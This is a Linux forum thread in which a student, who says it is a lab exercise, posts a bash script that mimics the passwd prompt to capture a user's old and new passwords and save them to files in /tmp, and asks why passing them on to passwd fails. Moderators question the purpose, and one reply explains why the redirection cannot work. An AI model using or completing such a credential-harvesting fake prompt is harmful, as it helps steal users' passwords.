LinuxQuestions.org
Latest LQ Deal: Complete CCNA, CCNP & Red Hat Certification Training Bundle
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Newbie
User Name
Password
Linux - Newbie This Linux forum is for members that are new to Linux.
Just starting out and have a question? If it is not in the man pages or the how-to's this is the place!

Notices


Reply
  Search this Thread
Old 06-26-2011, 11:01 AM   #1
hayloiuy
LQ Newbie
 
Registered: Apr 2011
Location: Malaysia
Distribution: Ubuntu
Posts: 6

Rep: Reputation: 0
How to change password using a script file and text file?


Ok please don't judge me or anything. This is for educational purpose. In fact it is my lab tutorial for a subject.

I want to capture the users password when he changes his password. Both new and old.

This is the script i have come up with:

Code:
#!/bin/bash
echo "Changing password for user $USER."
echo "(current) UNIX password: "

read hacked

newpass=0
confpass=1
while [ $newpass != $confpass ] 
do
echo "Enter new UNIX password: "
read newpass

echo "Retype new UNIX password: "
read confpass

done

echo $hacked > /tmp/stolen
echo $newpass > /tmp/newstolen


echo $hacked > /tmp/compilestolen
echo $newpass >> /tmp/compilestolen
echo $newpass >> /tmp/compilestolen


#[method 1] echo $hacked $newpass $confpass | passwd

#[method 2] passwd < /tmp/compilestolen.txt
Both method 1 and method 2 doesn't work. It gives the "Authentication token manipulation header" error in the terminal. Why?
 
Click here to see the post LQ members have rated as the most helpful post in this thread.
Old 06-26-2011, 07:20 PM   #2
chrism01
LQ Guru
 
Registered: Aug 2004
Location: Sydney
Distribution: Centos 6.8, Centos 5.10
Posts: 17,240

Rep: Reputation: 2324Reputation: 2324Reputation: 2324Reputation: 2324Reputation: 2324Reputation: 2324Reputation: 2324Reputation: 2324Reputation: 2324Reputation: 2324Reputation: 2324
You may possibly be breaking one of the LQ rules
Quote:
Posts containing information about cracking, piracy, warez, fraud or any topic that could be damaging to either LinuxQuestions.org or any third party will be immediately removed.
OTOH, if this is actually a homework lab it may(?) be ok.
Think I'm going to ask the Mods..
 
Old 06-26-2011, 07:31 PM   #3
Tinkster
Moderator
 
Registered: Apr 2002
Location: in a fallen world
Distribution: slackware by choice, others too :} ... android.
Posts: 23,066
Blog Entries: 11

Rep: Reputation: 910Reputation: 910Reputation: 910Reputation: 910Reputation: 910Reputation: 910Reputation: 910Reputation: 910
To the OP: I'd like to see clarification on the background of
this exercise/ hear from you what the justified objective might
be. Until such time as you provided this I ask our members to
refrain from responding to this thread (wonder how many will
actually read this rather than barging in w/ an answer).


Thanks chrism for the notification.



Cheers,
Tink
 
Old 06-26-2011, 10:39 PM   #4
hayloiuy
LQ Newbie
 
Registered: Apr 2011
Location: Malaysia
Distribution: Ubuntu
Posts: 6

Original Poster
Rep: Reputation: 0
What clarrification you need?

Clarification like my tutorial doc file?
 
Old 06-27-2011, 12:55 AM   #5
Tinkster
Moderator
 
Registered: Apr 2002
Location: in a fallen world
Distribution: slackware by choice, others too :} ... android.
Posts: 23,066
Blog Entries: 11

Rep: Reputation: 910Reputation: 910Reputation: 910Reputation: 910Reputation: 910Reputation: 910Reputation: 910Reputation: 910
If the tutorial is available on-line, by all means, yes,
that would certainly help.


Cheers,
Tink
 
Old 06-27-2011, 02:13 AM   #6
theNbomr
LQ 5k Club
 
Registered: Aug 2005
Distribution: OpenSuse, Fedora, Redhat, Debian
Posts: 5,396
Blog Entries: 2

Rep: Reputation: 908Reputation: 908Reputation: 908Reputation: 908Reputation: 908Reputation: 908Reputation: 908Reputation: 908
I'll jump in and answer this, but it isn't going to help anyone subvert the password machinery. What you must have realized before you embarked on this little journey is that someone before you might have thought of your scheme, and of course you're right. The people who wrote the passwd tool were also smart enough to predict that there would be people like you, and made the tool so it does not read its input using standard IO, or at least did it in such a way that it requires actual keystrokes to enter the data. As such, it isn't subject to the perils of covert redirection, such as you've tried here. My hunch is that learning that might just be the point of the lesson.

--- rod.
 
2 members found this post helpful.
  


Reply


Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
[SOLVED] Script to copy paste text from one file to another (overwriting part of the file) freet Programming 4 04-19-2011 04:23 PM
[SOLVED] Need help with script to replace certain text in file with part of the file's name kmkocot Linux - Newbie 2 08-23-2009 05:06 PM
simple php script to add line/file to text file dnoy Programming 1 05-21-2008 06:08 PM
How to find and change a specific text in a text file by using shell script Bassam Programming 1 07-18-2005 08:15 PM
Change Text-File through bash script arkus Programming 2 12-17-2004 09:48 PM


All times are GMT -5. The time now is 08:28 PM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Facebook: linuxquestions Google+: linuxquestions
Open Source Consulting | Domain Registration